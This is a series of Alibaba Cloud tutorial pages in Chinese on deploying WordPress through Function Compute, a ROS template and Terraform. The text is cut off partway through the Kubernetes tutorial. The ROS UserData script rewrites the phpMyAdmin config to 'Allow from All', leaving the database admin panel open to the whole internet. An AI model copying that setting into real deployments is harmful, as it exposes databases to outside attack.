                  2.2 FC 驱动 PHP 工程原理

                  image

                  • 函数计算的执行环境实例相当于传统 web 服务的 Apache/Nginx
                  • 用户函数相当于实现 Apache/Nginx 的 conf 中 location
                  • 用户将 Web 网站部署在 NAS,然后挂载 NAS 到函数的执行环境, 比如下面代码中 /mnt/auto 目录
                  • 对于 WordPress 入口函数代码就是这么简单: index.php

                    其中函数计算为用户提供了一个 $GLOBALS['fcPhpCgiProxy'] 对象用来和 php-fpm 进行交互,对PHP 工程中的 php 文件进行解析,该对象提供了两个重要的接口:

                    • requestPhpCgi

                      1. requestPhpCgi($request, $docRoot, $phpFile = "index.php", $fastCgiParams = [], $options = [])
                      • $request: 跟 php http invoke 入口的参数一致

                      • $docRoot: Web 工程的根目录

                      • $phpFile: 用于拼接 cgi 参数中的 SCRIPT_FILENAME 的默认参数

                      • $fastCgiParams: 函数计算内部尽量根据 $request给您构造 default cgi params, 但是如果您不是想要的,可以使用$fastCgiParams覆盖一些参数 (reference: cgi)

                      • $options: array类型,可选参数, debug_show_cgi_params 设为 true ,会打印每次请求 php 解析时候的 cgi 参数, 默认为 false ;readWriteTimeout 设置解析的时间, 默认为 5 秒

                  如果您有兴趣, 可以了解下函数计算 PHP Runtime:

                  案例操作步骤

                  准备条件

                  免费开通函数计算, 按量付费,函数计算有很大的免费额度。

                  免费开通文件存储服务NAS, 按量付费

                  有一个域名, 比如 abc.com, 并将域名 CNAME 解析到函数计算(FC) 对应的 region

                  如您想在杭州的 region 部署 wordpres 网站, 则将 abc.com CNAME 解析到 12345.cn-hangzhou.fc.aliyuncs.com, 其中 12345 是您的 accountId

                  3.1 安装最新的 Fun 工具

                  • 安装版本为8.x 最新版或者10.x 、12.x nodejs

                  • 安装 funcraf

                  3.2 Clone 工程

                  git clone https://github.com/awesome-fc/fc-wordpress.git

                  3.3 根据需要使用的数据库进入不同的目录

                  • 复制 .env_example 文件为 .env, 并且修改 .env 中的信息为自己的信息

                    如果使用 mysql 数据库, 参考章节 3.3.1

                    如果使用 sqlite3 数据库, 参考章节 3.3.2

                  3.3.1 使用 mysql 数据库

                  • 进入目录 fc-wp-mysql

                    1. fun nas init
                    2. fun nas info

                    fun nas init: 初始化 NAS, 基于您的 .env 中的信息获取(已有满足条件的nas)或创建一个同region可用的nas

                    如果你没有修改 templata.yml 中的配置 service名字, 那么则可以进入下一步; 如果有修改, 会在当前目录生成新的目录 .fun/nas/auto-default/{serviceName} (fun nas info 可以列出新的目录), 将默认目录下的 .fun/nas/auto-default/fc-wp-mysql/wordpress 的wordpress目录拷贝到 .fun/nas/auto-default/{serviceName} 下, 同时可以删除目录 .fun/nas/auto-default/fc-wp-mysql/wordpress

                  • 上传 wordpress 网站到 NAS

                    1. fun nas sync
                    2. fun nas ls nas:///mnt/auto/

                    fun nas sync: 将本地 NAS 中的内容(.fun/nas/auto-default/fc-wp-mysql)上传到 NAS 中的 fc-wp-mysql 目录

                    fun nas ls nas:///mnt/auto/: 查看我们是否已经正确将文件上传到了 NAS

                  3.3.2 使用 sqlite3 数据库

                  • 进入目录 fc-wp-sqlite

                    1. fun nas init
                    2. fun nas info

                    fun nas init: 初始化 NAS, 基于您的 .env 中的信息获取(已有满足条件的nas)或创建一个同region可用的nas

                    如果你没有修改 templata.yml 中的配置 service名字, 那么则可以进入下一步; 如果有修改, 会在当前目录生成新的目录 .fun/nas/auto-default/{serviceName} (fun nas info 可以列出新的目录), 将默认目录下的 .fun/nas/auto-default/fc-wp-sqlite/wordpress 的wordpress目录拷贝到 .fun/nas/auto-default/{serviceName} 下, 同时可以删除目录 .fun/nas/auto-default/fc-wp-sqlite/wordpress

                  • 本地完成安装过程, 初始化 sqlite3 数据库

                    • 在目录 .fun/nas/auto-default/fc-wp-sqlite/wordpress 中输入命令:

                      1. php -S 0.0.0.0:80
                    • 修改 host 文件,添加 127.0.0.1 hz.mofangdegisn.cn

                      • linux/mac : vim /etc/hosts
                      • windows7: C:WindowsSystem32driversetc

                      其中 hz.mofangdegisn.cn 是您预先准备的域名

                    • 通过浏览器输入 hz.mofangdegisn.cn, 这个时候没有mysql数据库设置页面,完成 wordpress 安装过程

                    成功安装以后, 这个时候, .fun/nas/auto-default/fc-wp-sqlite/wordpress/wp-content 下面应该有一个 database 的目录, ls -a 查看, 应该有 .ht.sqlite 这个 sqlite3 数据库文件

                    • 回退 host 文件的修改

                      注: 中间修改 host 的目的是初始化 sqlite3 数据库的时候, base site url 是提前准备的域名, 而不是 127.0.0.1

                  • 上传 wordpress 网站到 NAS

                    1. fun nas sync
                    2. fun nas ls nas:///mnt/auto/

                    fun nas sync: 将本地 NAS 中的内容(.fun/nas/auto-default/fc-wp-sqlite)上传到 NAS 中的 fc-wp-sqlite 目录

                    fun nas ls nas:///mnt/auto/: 查看我们是否已经正确将文件上传到了 NAS

                  3.4 部署函数到FC平台

                  接下来将函数部署到云平台:

                  • 修改 index.php 中的 $host 中的值

                  • 修改 template.yml LogConfig 中的 Project, 任意取一个不会重复的名字即可

                  • 修改 template.yml 自定义域名为自己提前准备好的域名

                  • 执行 fun deploy

                  登录控制台 https://fc.console.aliyun.com,可以看到service 和函数已经创建成功, 并且 service 也已经正确配置。

                  通过浏览器打开自己之前配置的域名, 比如本例中的 hz.mofangdegisn.cn

                  • mysql 版本数据库, 可以直接跟传统的 wordpress 一样,直接进入安装过程

                  • sqlite3 版本数据库, 由于之前已经完成初始化,可以直接进入网站首页或网站后台

                  FAQ

                  Q1: 函数计算能开发高性能高可用网站吗?

                  A: 可以, 使用函数计算的单实例多并发功能和高性能数据库

                  有必要再加上这些优化:

                  目前 PHP Runtime 并不支持单实例多并发, 使用 Custom Runtime,可以将基于传统模式 nginx + php-fpm + mysql 开发的网站直接简单无缝迁移到函数计算平台,示例工程 customruntime-php

                  使用OSS对Wordpress进行图片动静分离

                  Q2: 使用低成本 sqlite3 版本的网站, 冷启动第一次打开很慢怎么办?

                  A: 用一个 timer trigger 的函数 keep warm

                  Q3: 使用低成本 sqlite3 版本的网站, 能支持多大的qps?

                  A: 由 sqlite3 数据库性能决定, 这边有一些压测结果:

                  image

                  image

                  每次压力增大时候, 都有些冷启动,时间慢点,但是支持从压测结果来看支持 50 QPS 是没有疑问的, 是足够支持一些中小网站的。

                  Q4: 使用其他语言基于函数计算开发 serverless 网站可以吗?

                  A: 可以, 比如 python: https://yq.aliyun.com/articles/603249 , 或者直接使用 custom runtime, 内置了 java、python 和 node, Custom Runtime 用户手册 , Custom Runtime 使用集锦

                  上一篇:部署基于 python wsgi web 框架的工程到函数计算

                  下一篇:迁移 Express 到函数计算

                  相关文档

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  通过ROS模板一键部署WordPress和phpMyAdmin_通过ROS模板一键部署WordPress和phpMyAdmin_最佳实践_资源编排-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过ROS模板一键部署WordPress和phpMyAdmin

                  更新时间:2020-03-31 11:20:27

                  编辑 · 

                  新浪微博 微信 钉钉

                  本页目录

                  本文为您介绍如何使用ROS模板一键部署WordPress站点和phpMyAdmin应用。

                  背景信息

                  如果您只有管理网站内容人员,而无专业技术人员来做网站建立和管理的技术支持,这只适用于基础网站。如果您的网站有更高的需求,需要订制化服务、高可用性和高弹性,您就需要寻求其他解决方案。

                  本文介绍的ROS资源栈模板(WordPressCluster-phpMyAdmin.ros)可以帮助您实现对高可用性和高弹性的需求。通过此模板,您可以快速部署整个VPC、负载均衡、弹性伸缩、ECS、云数据库RDS版等实例组成的资源栈。同时部署WordPress和phpMyAdmin,并配置弹性伸缩。系统会根据需要,自动添加、配置新的实例,无须您手动操作。

                  架构原理概览

                  下图为通过ROS资源栈模板(WordPressCluster-phpMyAdmin.ros)创建资源栈的架构图。

                  framework

                  有三类用户将会访问这些基础设施:

                  • 端用户

                    端用户通过URL访问托管在WordPress上的网站。

                    WordPress部署在Apache Web务器中。服务器的文档根目录为/wwwroot。根目录所在的OSS Bucket是Web服务器通过OSSFS(阿里云官方提供的基于FUSE的文件系统)共用的一个存储空间。

                    RAM用户具有OSS Bucket的访问权限,可以将OSS Bucket挂载到ECS实例上。

                    RDS MySQL数据库存放WordPress的内容。通过内网连接字符串从Web服务器访问数据库。

                  • 系统管理员

                    系统管理员通过SSH登录JumpBox(堡垒机),进入VPC环境。

                    JumpBox具有弹性公网IP,可通过Internet访问。

                    通过JumpBox访问可管理VPC中的产品实例。

                    phpMyAdmin安装在JumpBox上,通过Internet访问。

                    如此,系统管理员便可管理云数据库RDS版。

                  • 内容负责人

                    内容负责人可通过Internet访问WordPress管理控制台。

                    所有服务的访问权限可通过安全组,根据环境配置来控制。

                  资源站模板概览

                  单击WordPressCluster-phpMyAdmin.ros下载该资源栈模板。

                  注意 本模板中,设置ZoneId eu-central-1a,设置 ImageIdm-gw8efmfk0y184zs0m0aj

                  这可能对您不适用。您可以根据资源编排控制台中支持的ECS可用区和镜像,在模板中修改ZoneIdImageId

                  根据WordPressCluster-phpMyAdmin.ros这个资源栈模板,系统将创建和配置VPC、负载均衡、VSwitch、NAT网关、ECS实例、弹性公网IP、ECS实例弹性伸缩和云数据库RDS版实例等。

                  在创建资源栈时,以下参数可满足任何地域的用户需要。 ECSRDS

                  根据模板,系统将在JumpBox上安装httpd、mysql-client、PHP、OSSFS、phpMyAdmin、和WordPress,并通过资源ALIYUN::ECS::Instance的UserData段配置这些应用。

                  以下是UserData段节选:

                  "ossbucketendpoint=",
                   {
                   "Ref": "OSSBucketEndPoint"
                   },
                   "n",
                   "DatabaseUser=",
                   {
                   "Ref": "MasterUserName"
                   },
                   "n",
                   "DatabasePwd=",
                   {
                   "Ref": "MasterDBPassword"
                   },
                   "n",
                   "DatabaseName=",
                   {
                   "Ref": "DBName"
                   },
                   "n",
                   "DatabaseHost=",
                   {
                   "Fn::GetAtt": ["Database", "InnerConnectionString"]
                   },
                   "n",
                   "yum install -y curl httpd mysql-server php php-common php-mysqln",
                   "yum install -y php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpcn",
                   "yum install -y phpmyadminn",
                   "sed -i "s%localhost%$DatabaseHost%" /etc/phpMyAdmin/config.inc.phpn",
                   "sed -i "s%Deny,Allow%Allow,Deny%" /etc/httpd/conf.d/phpMyAdmin.confn",
                   "sed -i "s%Deny from All%Allow from All%" /etc/httpd/conf.d/phpMyAdmin.confn",
                   "sed -i "/<RequireAny>/a Require all Granted" /etc/httpd/conf.d/phpMyAdmin.confn",
                   "chkconfig httpd onn",
                   "service httpd stopn",
                   "wget  
                   https://github.com/aliyun/ossfs/releases/download/v1.80.3/ossfs_1.80.3_centos6.5_x86_64.rpmn",
                   "yum install -y ossfs_1.80.3_centos6.5_x86_64.rpmn",
                   "echo $ossbucket:$ossbucketaccesskey:$ossbucketsecret >> /etc/passwd-ossfsn",
                   "chmod 600 /etc/passwd-ossfsn",
                   "mkdir $ossbucketmountpointn",
                   "chmod -R 755 $ossbucketmountpointn",
                   "echo #This script will automount the ossbucketn",
                   "echo umount $ossbucketmountpoint >> /usr/local/bin/ossfs-automount.shn",
                   "echo #Mounting OSS Bucketn",
                              "echo ossfs $ossbucket $ossbucketmountpoint -ourl=http://$ossbucketendpoint -o allow_other -o mp_umask=0022 -ouid=48 -ogid=48 >> /usr/local/bin/ossfs-automount.shn",
                  "chmod 755 /usr/local/bin/ossfs-automount.shn",
                  "echo /usr/local/bin/ossfs-automount.sh >> /etc/rc.d/rc.localn",
                  "chmod +x /etc/rc.d/rc.localn",
                  "/usr/local/bin/./ossfs-automount.shn",
                  "wget http://WordPress.org/latest.tar.gzn",
                  "tar -xzvf latest.tar.gzn",             
                  "sed -i "s%database_name_here%$DatabaseName%" WordPress/wp-config-sample.phpn",
                  "sed -i "s%username_here%$DatabaseUser%" WordPress/wp-config-sample.phpn",
                  "sed -i "s%password_here%${DatabasePwd:-$DatabasePwdDef}%" WordPress/wp-config-sample.phpn",
                  "sed -i "s%localhost%$DatabaseHost%" WordPress/wp-config-sample.phpn",
                  "mv WordPress/wp-config-sample.php WordPress/wp-config.phpn",
                  "cp -a WordPress/* $ossbucketmountpointn",
                  "chmod -R 755 /wwwroot/*n",
                  "rm -rf WordPress*n",
                  "service httpd startn",
                  "donen"

                  通过UserData段,将WordPress部署在OSS Bucket上。OSS Bucket可挂载到弹性伸缩创建的Web服务器上。如此可保证所有Web服务器都具有来自根目录的最新内容。

                  通过弹性伸缩配置的UserData段,实现httpd、PHP、和ossutil的安装和配置,挂载DocumentRoo,以及启动所有服务。

                  以下是弹性伸缩配置的UserData段节选:

                   "DatabaseHost=",
                                {
                                  "Fn::GetAtt": ["Database", "InnerConnectionString"]
                                },
                                "n",
                                "yum install -y curl httpd mysql-server php php-common php-mysqln",
                                "yum install -y php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpcn",
                                "chkconfig httpd onn",
                                "service httpd stopn",
                                "DocumentRoot='/var/www/html'n",
                                "sed -i "s%$DocumentRoot%$ossbucketmountpoint%" /etc/httpd/conf/httpd.confn",
                                "Directory='/var/www'n",
                                "sed -i "s%$Directory%$ossbucketmountpoint%" /etc/httpd/conf/httpd.confn",
                  "wget https://github.com/aliyun/ossfs/releases/download/v1.80.3/ossfs_1.80.3_centos6.5_x86_64.rpmn",
                                "yum install -y ossfs_1.80.3_centos6.5_x86_64.rpmn",
                                "echo $ossbucket:$ossbucketaccesskey:$ossbucketsecret >> /etc/passwd-ossfsn",
                                "chmod 600 /etc/passwd-ossfsn",
                                "mkdir $ossbucketmountpointn",
                                "chmod -R 755 $ossbucketmountpointn",
                                "echo #This script will automount the ossbucketn",
                                "echo umount $ossbucketmountpoint >> /usr/local/bin/ossfs-automount.shn",
                                "echo #Mounting OSS Bucketn",
                                "echo ossfs $ossbucket $ossbucketmountpoint -ourl=http://$ossbucketendpoint -o allow_other -o mp_umask=0022 -ouid=48 -ogid=48 >> /usr/local/bin/ossfs-automount.shn",
                                "chmod 755 /usr/local/bin/ossfs-automount.shn",
                                "echo /usr/local/bin/ossfs-automount.sh >> /etc/rc.d/rc.localn",
                                "chmod +x /etc/rc.d/rc.localn",
                                "/usr/local/bin/./ossfs-automount.shn",
                                "chmod -R 755 /wwwroot/*n",
                                "service httpd startn",
                                "donen"
                              ]

                  更多信息

                  上一篇:SDK常见问题

                  下一篇:ROS支持ECS实例云助手功能

                  相关文档

                  相关产品

                  • 资源编排

                    阿里云资源编排服务(ROS)是一款帮助阿里云用户简化云计算资源管理和自动化运维的服务。用户遵循ROS定义的模板规范,编写模板文件,在模板中定义所需云计算资源的集合及资源间的依赖关系、资源配置细节等,ROS通过编排引擎自动完成所有资源的创建和配置,以达到自动化部署、运维的目的。编排模板是一种用户可读、易于编写的文本文件,用户可以通过svn、git等版本控制工具来控制模板的版本,以达到控制基础设施版本的目的,用户可以通过API、SDK等方式把ROS的编排能力与自己的应用整合,做到基础设施即代码(Infrastructure as Code)。

                  • 云服务器 ECS

                    云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                  • 访问控制

                    访问控制(Resource Access Management,RAM)是阿里云提供的一项管理用户身份与资源访问权限的服务。使用RAM,您可以创建、管理RAM用户(例如员工、系统或应用程序),并可以控制这些RAM用户对资源的操作权限。当您的企业存在多用户协同操作资源时,使用RAM可以让您避免与其他用户共享云账号密钥,按需为用户分配最小权限,从而降低企业信息安全风险。

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  利用Terraform部署Swarm集群及Wordpress应用_最佳实践_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 利用Terraform部署Swarm集群及Wordpress应用

                  更新时间:2018-07-13 13:57:59

                  编辑 我的收藏

                  新浪微博 微信 钉钉

                  本页目录

                  本文档介绍了如何通过 Terraform 在 VPC 环境下部署一个阿里云容器服务集群,并在该集群之上,部署一个 WordPress 样例应用。本文档提供一种构建阿里云基础设施的解决方案,让您通过代码来自动创建、编排和管理容器服务以及完成在容器集群上应用的自动化部署。

                  前提条件

                  • 需要开通阿里云容器服务,用户的账户需有 100 元余额并通过实名认证。
                  • 需要启用用户账号的 AccessKey,妥善保存和记录 AccessKey ID 和 AccessKey Secret。

                  步骤 1 安装 Terraform

                  下载 Terraform

                  Terraform 官方下载地址 下载 Terraform您可以选择合适的版本和平台。本文档以在 Linux 上安装 Terraform 为例(操作步骤与 Mac OS X 平台十分相似)。

                  1. 单击 Linux 图标下载 terraform_0.11.3_linux_amd64.zip 文件。
                  2. 复制该 .zip 文件到合适的路径中,本例中为 /usr/local/terraform
                  3. 解压缩该文件,您会得到一个二进制文件 terraform。
                  4. /etc/profile下创建以下条目,将二进制文件所在的路径 /usr/local/terraform 添加到 PATH 环境变量中。
                    export TERRAFORM_HOME=/usr/local/terraform
                    export PATH=$PATH:$TERRAFORM_HOME

                  安装阿里云 Terraform Provider

                   在使用Terraform之前,需要进行初始化操作来加载面向阿里云的Provider。在模板文件目录下运行命令:

                  terraform init

                  加载成功后,将会把相应的 Plugin 下载到当前文件夹下的 .terraform隐藏目录下。如果在加载过程中遇到了网络超时的问题,可按照接下来的步骤完成插件的手动安装。

                  • 阿里云 Terraform Provider 官方下载地址下载对应版本和平台的 Provider。本例中选择 Linux 类型。
                  • 复制下载的文件 terraform-provider-alicloud_1.9.3_linux_amd64.zip到 Terraform 的安装目录 /usr/local/terraform并解压即可。将解压后,当前目录将会得到阿里云的 Provider terraform-provider-alicloud_v1.9.3_x4

                  Terraform 和 Provider 安装成功后,运行以下命令检测 Terraform 的运行,若成功安装,应显示以下内容。

                  $ terraform
                  Usage: terraform [--version] [--help]  [args]
                  
                  The available commands for execution are listed below.
                  The most common, useful commands are shown first, followed by
                  less common or more advanced commands. If you're just getting
                  started with Terraform, stick with the common commands. For the
                  other commands, please read the help and docs before usage.
                  
                  Common commands:
                  ....
                  
                  All other commands:
                  debug Debug output management (experimental)
                  force-unlock Manually unlock the terraform state
                  state Advanced state management

                  步骤2 下载容器服务 Swarm 和应用 Wordpress 的 Terraform 模板

                  您可以从 GitHub上下载创建 Swarm 集群和部署 Wordpress 应用的 Terraform 模板(模板下载地址)。该模板文件定义了创建 swarm 集群的相关资源以及在 swarm 集群上部署 Wordpess 的文件,帮助您完成 Swarm 集群的快速创建和应用的快速部署。 模板中包含以下文件。

                  main.tf

                  Terraform 主文件。定义了将要部署的资源。

                  • 地域 

                    定义了资源将要被创建在哪个地域里。

                    provider "alicloud" {
                    access_key = "${var.alicloud_access_key}"
                    secret_key = "${var.alicloud_secret_key}"
                    region = "${var.region}"
                    }
                  • VPC
                    resource "alicloud_vpc" "vpc" {
                    name = "${var.vpc_name}"
                    cidr_block = "${var.vpc_cidr}"
                    }
                  • VSwitch
                    resource "alicloud_vswitch" "vswitch" {
                    availability_zone = "${data.alicloud_zones.default.zones.0.id}"
                    name = "${var.vswitch_name}"
                    cidr_block = "${var.vswitch_cidr}"
                    vpc_id = "${alicloud_vpc.vpc.id}"
                    }
                  • 容器服务集群
                    resource "alicloud_cs_swarm" "cs_vpc" {
                    password = "${var.password}"
                    instance_type = "${data.alicloud_instance_types.main.instance_types.0.id}"
                    name = "${var.cluster_name}"
                    node_number = "${var.node_number}"
                    disk_category = "${var.disk_category}"
                    disk_size = "${var.disk_size}"
                    cidr_block = "${var.cidr_block}"
                    image_id = "${data.alicloud_images.main.images.0.id}"
                    vswitch_id = "${alicloud_vswitch.main.id}"
                    }
                  • Wordpress 应用
                    resource "alicloud_cs_application" "wordpress" {
                    cluster_name = "${alicloud_cs_swarm.cs_vpc.name}"
                    name = "${var.app_name == "" ? var.resource_group_name : var.app_name}"
                    version = "${var.app_version}"
                    template = "${file("wordpress.yml")}"
                    description = "terraform deploy consource"
                    latest_image = "${var.latest_image}"
                    blue_green = "${var.blue_green}"
                    blue_green_confirm = "${var.confirm_blue_green}"
                    }

                  outputs.tf

                   该文件定义了输出参数。作为执行的一部分而创建的资源会生成这些输出参数。和 ROS 模板指定的输出参数类似。例如,该模板将部署一个 Swarm 集群和 Wordpress 应用实例。以下输出参数将提供集群 ID 和应用的默认域名。

                  output "cluster_id" {
                    value = "${alicloud_cs_swarm.cs_vpc.id}"
                  }

                  output "default_domain" {
                    value = "${alicloud_cs_application.wordpress.default_domain}"
                  }

                  variables.tf

                  该文件包含可传递到 main.tf 的变量,可帮助您自定义环境。

                  variable "alicloud_access_key" {
                    description = "The Alicloud Access Key ID to launch resources. Support to environment 'ALICLOUD_ACCESS_KEY'."
                  }
                  variable "alicloud_secret_key" {
                    description = "The Alicloud Access Secret Key to launch resources.  Support to environment 'ALICLOUD_SECRET_KEY'."
                  }
                  variable "region" {
                    description = "The region to launch resources."
                    default = "cn-hongkong"
                  }
                  variable "vpc_cidr" {
                    description = "The cidr block used to launch a new vpc."
                    default = "172.16.0.0/12"
                  }
                  variable "app_name" {
                    description = "The app resource name. Default to variable `resource_group_name`"
                    default = "wordpress"
                  }

                  wordpress.yml

                  部署 Wordpress 应用的 Compose 模板,该模板来自于控制台提供的编排模板,详情登录容器服务控制台,单击左侧导航栏中的应用,选择创建应用 > 使用编排模板创建 > 使用已有编排模板

                  步骤 3 执行 Terraform 脚本

                  要想运行脚本,首先定位到您存放以上文件的目录,如 /root/terraform/wordpress。您可以利用以下 terraform 的相关命令,运行脚本,构建容器集群和部署应用。更多的命令用法,参见 Terraform Commands (CLI)

                  执行 terraform init,会初始化环境。

                  $ terraform init
                    Initializing provider plugins...
                    ...
                     - Checking for available provider plugins on https://releases.hashicorp.com...
                     - Downloading plugin for provider "alicloud" (1.7.2)...
                     * provider.alicloud: version = "~> 1.7"
                     Terraform has been successfully initialized!
                     ...

                  执行 terraform providers,会列出安装的供应商。

                  terraform providers
                  .
                  └── provider.alicloud

                  在执行 terraform plan 之前,首先需要传递 AccessKey ID 和 AccessKey Secret 进行授权。

                  $ export ALICLOUD_ACCESS_KEY="AccessKey ID"
                  $ export ALICLOUD_SECRET_KEY="AccessKey Secret"

                  然后执行 terraform plan,会创建一个执行计划,并帮助您了解将要创建或改变的资源。

                  $ terraform plan
                  Refreshing Terraform state in-memory prior to plan...
                  The refreshed state will be used to calculate this plan, but will not be
                  persisted to local or remote state storage.
                  data.alicloud_images.main: Refreshing state...
                  data.alicloud_instance_types.default: Refreshing state...
                  data.alicloud_zones.default: Refreshing state...
                  ------------------------------------------------------------------------
                  An execution plan has been generated and is shown below.
                  Resource actions are indicated with the following symbols:
                    + create
                  Terraform will perform the following actions:
                  ...
                  Plan: 9 to add, 0 to change, 0 to destroy.
                  ------------------------------------------------------------------------
                  Note: You didn't specify an "-out" parameter to save this plan, so Terraform
                  can't guarantee that exactly these actions will be performed if
                  "terraform apply" is subsequently run.

                  确定资源已如您所愿地创建/更新后,运行terraform apply 命令,开始执行 Terraform 模块。

                  $ terraform apply
                  data.alicloud_instance_types.default: Refreshing state...
                  data.alicloud_images.main: Refreshing state...
                  data.alicloud_zones.default: Refreshing state...
                  An execution plan has been generated and is shown below.
                  Resource actions are indicated with the following symbols:
                    + create
                  Terraform will perform the following actions:
                  ...
                  Plan: 9 to add, 0 to change, 0 to destroy.
                  Do you want to perform these actions?
                    Terraform will perform the actions described above.
                    Only 'yes' will be accepted to approve.
                    Enter a value: yes
                  alicloud_vpc.vpc: Creating...
                  ...
                  Apply complete! Resources: 9 added, 0 changed, 0 destroyed.
                  Outputs:    ##注意
                  availability_zone = cn-hongkong-a
                  cluster_id = c95537435b********
                  default_domain = c95537435b********.cn-hongkong.alicontainer.com
                  vpc_id = vpc-2zeaudqan6uzt5lzry48a
                  vswitch_id = vsw-2ze2x92n9b5neor7fcjmr

                  terraform apply 命令执行完毕后, 会显示 outputs.tf 中定义的输出参数。在上面这个例子中,输出参数为 cs_cluster 集群 ID、可用区、VPC ID 、VSwitch ID 名称和应用实例的 default_domain。

                  通过运行 terraform output 命令,可随时查看输出值,帮助您配置 WordPress 应用。

                  terraform output
                  availability_zone = cn-hongkong-a
                  cluster_id = c95537435b********
                  default_domain = c95537435b********.cn-hongkong.alicontainer.com
                  vpc_id = vpc-2zeaudqan6uzt5lzry48a
                  vswitch_id = vsw-2ze2x92n9b5neor7fcjmr

                  您现在可以在容器服务控制台查看通过 terraform 创建的集群,查看集群信息、节点信息、日志信息和容器信息等信息。



                  同时,可以在应用页面查看 Wordpress 应用信息。



                  单击应用名称,然后单击 路由列表,可查看路由地址。



                  步骤 4 访问 WordPressPress

                  1. 打开 Wordpress Compose 模板 wordpress.yml,找到应用域名前缀 aliyun.routing.port_80: http://wordpress
                  2. 将域名前缀 http://wordpress 与应用的 default_domain 拼接后的值http://wordpress.c95537435b********.cn-hongkong.alicontainer.com 输入浏览器,即可访问 WordPress 欢迎页面,可选择语言,然后继续配置。


                  3. 输入站点名称以及管理员的用户名和密码。选择安装 WordPress。


                  4. WordPress 安装完成后,单击登录,输入管理员的用户名和密码,进入 WordPress 应用。


                  延伸阅读

                  阿里云目前是 Terraform 官方的 Major Cloud Provider,如果您想通过 terraform 灵活构建阿里云上的基础设施资源,您可参见 Alicloud Provider 了解更多信息,自定义资源描述文件,快速搭建属于您的云上设施 。

                  上一篇:在容器服务上轻松搭建 Concourse CI

                  下一篇:Chef实现Dokcer和WebServer自动化部署

                  相关文档

                  相关产品

                  • 容器服务(已停止服务)

                    容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

                  • 容器服务Kubernetes版

                    容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

                  • 容器镜像服务

                    容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  Terraform部署容器服务Kubernetes集群及Wordpress应用_容器服务Kubernetes版_教程_Terraform-阿里云 Fri, 02 May 2025 09:39:04 +0800 Terraform部署容器服务Kubernetes集群及Wordpress应用

                  更新时间:2020-03-11 22:34:45

                  本页目录

                  本教程介绍了如何通过Terraform在VPC环境下部署一个阿里云容器服务Kubernetes集群,并在该集群之上,部署一个WordPress样例应用。

                  前提条件

                  在使用本教程之前,请确保完成以下准备工作:

                  步骤一:下载容器服务Kubernetes的Terraform模板

                  您可以从GitHub上下载创建Kubernetes集群的Terraform模板(模板下载地址),模板中包含以下文件:

                  • main.tf

                    Terraform主文件。定义了将要部署的资源。本模版加入了条件判断,可实现对已有网络资源的引用和多个Kubernetes集群的同时创建。该文件定义了以下资源:

                    • 可用地域

                      定义了资源将要被创建在哪个地域里。

                      provider "alicloud" {
                        access_key = "${var.alicloud_access_key}"
                        secret_key = "${var.alicloud_secret_key}"
                        region = "${var.region}"
                      }
                      
                      data "alicloud_zones" "default" {
                        available_instance_type = data.alicloud_instance_types.default.instance_types[0].id
                      }

                    • 实例规格
                      data "alicloud_instance_types" "default" {
                        cpu_core_count = var.cpu_core_count
                        memory_size    = var.memory_size
                      }
                    • 专有网络

                      指定vpc_id可使用已有VPC。

                      resource "alicloud_vpc" "vpc" {
                        count      = var.vpc_id == "" ? 1 : 0
                        cidr_block = var.vpc_cidr
                        name       = var.vpc_name == "" ? var.example_name : var.vpc_name
                      }                                 

                    • 交换机

                      指定vswitch_ids可使用已有交换机。

                      resource "alicloud_vswitch" "vswitches" {
                        count             = length(var.vswitch_ids) > 0 ? 0 : length(var.vswitch_cidrs)
                        vpc_id            = var.vpc_id == "" ? join("", alicloud_vpc.vpc.*.id) : var.vpc_id
                        cidr_block        = element(var.vswitch_cidrs, count.index)
                        availability_zone = data.alicloud_zones.default.zones[count.index % length(data.alicloud_zones.default.zones)]["id"]
                        name = var.vswitch_name_prefix == "" ? format(
                          "%s-%s",
                          var.example_name,
                          format(var.number_format, count.index + 1),
                          ) : format(
                          "%s-%s",
                          var.vswitch_name_prefix,
                          format(var.number_format, count.index + 1),
                        )
                      }                                

                    • NAT网关

